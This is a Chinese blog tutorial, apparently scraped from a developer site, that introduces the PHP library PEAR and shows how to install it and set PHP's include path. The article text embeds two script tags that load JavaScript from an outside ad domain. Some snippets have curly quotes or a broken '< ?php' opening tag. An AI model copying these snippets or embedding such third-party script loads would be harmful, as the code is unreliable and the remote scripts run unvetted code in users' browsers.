PEAR教程1.Pear的介绍和安装

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

我认为学习php至少有三个境界:

  1. 初级阶段。会用php编写简单的网站,会用php实现一般的功能。这个时候,往往什么代码都自己来实现,不太习惯也不太会用现成的库,而且一直都认为自己写代码的比成熟的库要方便得多,并且写代码的时候不太在乎效率。
  2. 中级状态。 会用成熟的库,写代码会考虑到效率,并且主导思想是能用库的就用库,而且这个阶段的phper一般都比较熟悉客户端的技术,譬如css,js等等,当然php程序员会html描述语言那是必须的!
  3. 高级阶段。会按照一些标准写成熟的库,会按照需要实现能实现的一切,程序的效率无可挑剔,往往是某些成熟库的贡献者。

上面是我大致的总结。其实php和其他语言一样,也有很多成熟优秀的库可以直接使用,并且使用这些库可以大大的提高你的开发效率,而且这些库中的优秀代码风格、优秀的思想都可以作为我们进一步学习的参照,因此,我打算给大家介绍一下这个知名的PHP库-PEAR,其实这个东西自己看手册都是可以上手的,但是很多朋友就是不太爱看手册,可能对那些繁琐的手册有严重的抵触心理吧,不过我这次对PEAR的介绍就根据手册来进行,而且使用在线手册,这样就能方便的引用链接。然后一步一步进行,希望能给一些朋友做一个正确的引导。

首先请大家打开这个链接http://pear.php.net/manual/en/我们来看看PEAR到底是什么东西,点击 Chapter 1. Introduction

PEAR is short for “PHP Extension and Application Repository” and is pronounced just like the fruit. The purpose of PEAR is to provide: Pear是”PHP Extension and Application Repository”的缩写,发音和英语单词“梨”一样,所以你看到这个网站的标志就是一个梨子

  • * A structured library of open-source code for PHP users 所有php开发者都可以使用的开源代码的
  • * A system for code distribution and package maintenance 是一个代码分发的打包系统
  • * A standard style for code written in PHP, specified here是一个php代码格式的标准
  • * The PHP Extension Community Library (PECL), see more below是一个PECL的库

一句话,PEAR就是一个强大的php库,我的bloggermap也是使用的这个库,而且这个库的package很齐全,包括数据库、表单的生成、缓存应有尽有,后面我会逐步的给大家介绍。

读者要求:1.会搭建WAMP(window+apache+mysql+php)服务器。2.会简单的php 3.愿意使用PEAR

下面介绍一下PEAR的安装(这个很重要):

首先说说php的include的路径问题,这个和java的classpath比较类似,有默认的path,比如说php.ini设置了几个默认的路径/etc/include 或者 /etc/DEMO,那么在php的代码中,如果有类似“include ‘file.php’;”的包含语句,程序执行的时候就会在当前文件夹下搜索是否有file.php这个文件,如果没有,再去搜索/etc/include 或者 /etc/DEMO文件夹下是否有这个文件,如果依然没有,则报错!

对于国外的虚拟主机,很多都安装了PEAR的,而且安装的PEAR package都很齐全,所以你在php文件中引用 include “PEAR.php”,程序就会根据php.ini找到PEAR的路径而引用进来,但是如果虚拟主机未安装PEAR,就得我们自己安装了。

安装PEAR是一个很简单的过程,大可不必害怕,下面还是引导大家去看帮助手册, 链接在这里 (由于很多人弄不清楚PEAR的文件结构,所以这个manual被删除了),不过没有关系,可以去这个链接看看。可能很少有人有耐心看下去,反正我是看不下去的,其实最关键的就是这一行,那就是告诉你添加php的默认include路径的方法


<?php

ini_set(‘include_path’, ‘~/pear/lib’ . PATH_SEPARATOR        . ini_get(‘include_path’));
// From PHP 4.3.0 onward, you can use the following,

// which especially useful on shared hosts:

set_include_path(‘~/pear/lib’ . PATH_SEPARATOR

                 . get_include_path());

?>

好了,开始介绍安装步骤吧:

  1. 首先在网站的根目录下建议文件夹“tutor”,然后建立一个文件夹inc,下载PEAR,目前最新版的下载地址是http://download.pear.php.net/package/PEAR-1.6.1.tgz
  2. 下载完毕解压缩,将PEAR放在inc 目录下,展开的目录如图:
  3. tutor下建立文件demo.php,和一个空的config.php。demo.php的内容如下:
    1. < ?php
    2. include 'config.php';
    3. include 'PEAR.php';
    4. ?>

    然后访问http://127.0.0.1/tutor/demo.php,此时会出现错误提示:include路径有错误
  4. 所以这个时候我们要在config中配置好PEAR的include路径(类似java的classpath),打开config.php,添加代码如下
    1. < ?php
    2. define ( 'WEB_DIR', $_SERVER [ "DOCUMENT_ROOT" ]. "/tutor" ); //定义当前网站的根目录的路径
    3. define ( 'PEAR_DIR',WEB_DIR. '/inc/PEAR-1.6.1' ); //PEAR目录的路径
    4. ini_set ( 'include_path', PEAR_DIR . PATH_SEPARATOR . ini_get ( 'include_path' ) ); //这就是定义PEAR的路径
    5. ?>
    再次打开http://127.0.0.1/tutor/demo.php,发现什么样?错误消失了!
  5. 至此,PEAR安装结束

或许你已经很激动的期待如何应用PEAR了,不过别急啊,我要休息嘛,你可以自己先摸索摸索,等待下一步教程。
——————————–华丽的分界线———————————–
欢迎兄弟们纠错,语言奖励,呵呵!

PEAR, php <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值